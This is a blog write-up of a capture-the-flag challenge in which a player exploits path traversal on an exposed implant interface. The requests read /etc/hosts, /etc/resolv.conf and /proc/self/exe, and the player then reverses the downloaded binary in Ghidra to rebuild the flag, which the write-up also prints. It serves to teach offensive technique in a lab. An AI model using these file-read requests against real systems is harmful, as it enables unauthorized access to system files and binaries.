← Back to blog

Breakout

Challenge Description

This challenge sets the scene for a compromised healthcare infrastructure where an APT left their implant interface exposed. The goal is to break into that interface and understand how it works. It is intended to be solved before its companion challenge, “Breakin”.

The CCSS suffered a ransomware attack that compromised the Unique Digital Medical File (EDUS) and the National Prescriptions System for the public pharmacies. They've reported that their infrastructure has been compromised, and they cannot regain access. The APT left their implant interface exposed, though, and you'll need to break into it and find out how it works. NOTE: This challenge is intended to be solved before 'Breakin'.

Recon

The exposed interface is vulnerable to local file inclusion / path traversal, meaning we can read arbitrary files from the container’s filesystem by requesting their absolute path. We start by reading the hosts file to learn about the environment.

http://178.128.46.164:30454/etc/hosts

The output is a Kubernetes-managed hosts file, which immediately tells us we are inside a Kubernetes-orchestrated container. The pod name is visible at the bottom.

# Kubernetes-managed hosts file.
127.0.0.1    localhost
::1    localhost ip6-localhost ip6-loopback
fe00::0    ip6-localnet
fe00::0    ip6-mcastprefix
fe00::1    ip6-allnodes
fe00::2    ip6-allrouters
10.244.2.235    revbreakoutbiz2022-57218-848865f49f-7hgk7

Reading the hostname confirms the pod identity.

http://178.128.46.164:30454/etc/hostname
revbreakoutbiz2022-57218-848865f49f-7hgk7

The resolver configuration reveals the in-cluster DNS search domains and nameserver, which confirms the htb-flock Kubernetes namespace.

http://178.128.46.164:30454/etc/resolv.conf
search htb-flock.svc.cluster.local svc.cluster.local cluster.local
nameserver 10.245.0.10
options ndots:5

Extracting the Binary via procfs

Since we have arbitrary file read, we can abuse the Linux procfs pseudo-filesystem. The path /proc/self/exe is a symbolic link that points to the executable backing the current process, so requesting it through the LFI lets us download the running implant binary itself. Note this is served on a different port (31402).

http://178.128.46.164:31402/proc/self/exe

We save the response as exe and then run strings against it, grepping around the HTB marker to pull out anything flag-like.

strings exe | grep -A10 HTB

This surfaces a scrambled string. The flag bytes are interleaved with stray H characters, so it does not read cleanly yet.

HTB{th3_Hpr0c_f5_H15_4_p53Hud0_f1l3H5y5t3m_wHh1ch_pr0Hv1d35_4nH_1nt3rf4Hc3.....}

Reversing with Ghidra

To understand how the string is assembled, we load the binary into Ghidra. The decompiler/disassembly shows the flag being constructed inline as a series of immediate MOV instructions into RAX/RDX. Ghidra flags these as CONFLICTS because the immediate operands overlap with defined string data. Reading the immediate values shows the flag split into 8-byte chunks.

CONFLICTS    002c1eb0        MOV RAX,"_3ht{BTH"    "HTB{th3_H"    string    9    false
CONFLICTS    002c1eba        MOV RDX,"_5f_c0rp"    "pr0c_f5_H"    string    9    false
CONFLICTS    002c1ecc        MOV RAX,"35p_4_51"    "15_4_p53H"    string    9    false
CONFLICTS    002c1ed6        MOV RDX,"3l1f_0du"    "ud0_f1l3H"    string    9    false
CONFLICTS    002c1ee8        MOV RAX,"w_m3t5y5"    "5y5t3m_wH"    string    9    false
CONFLICTS    002c1ef2        MOV RDX,"0rp_hc1h"    "h1ch_pr0H"    string    9    false
CONFLICTS    002c1f04        MOV RAX,"n4_53d1v"    "v1d35_4nH"    string    9    false
CONFLICTS    002c1f0e        MOV RDX,"4fr3tn1_"    "_1nt3rf4H"    string    9    false
CONFLICTS    002c1f20        MOV RAX,"}.....3c"    "c3.....}H"    string    9    false

While analyzing the binary we also find the route patterns the implant interface exposes, confirming the endpoints (including a /secret route) used by the application.

^/ping$
^/exec$
^/exec/([a-zA-Z0-9]+)
^/secret$

Flag

The scrambled string contained a stray H after roughly every 8 bytes (a byproduct of how the chunks were stored). Stripping those H separators and joining the chunks reconstructs the real flag.

HTB{th3_pr0c_f5_15_4_p53ud0_f1l35y5t3m_wh1ch_pr0v1d35_4n_1nt3rf4c3.....}

The same cleanup can be done in one line on the command output by removing trailing H characters from each line and concatenating, as shown against the backdoor binary bkd.

strings bkd | grep -i htb -A 8 | sed 's/H$//g' | tr -d '\n'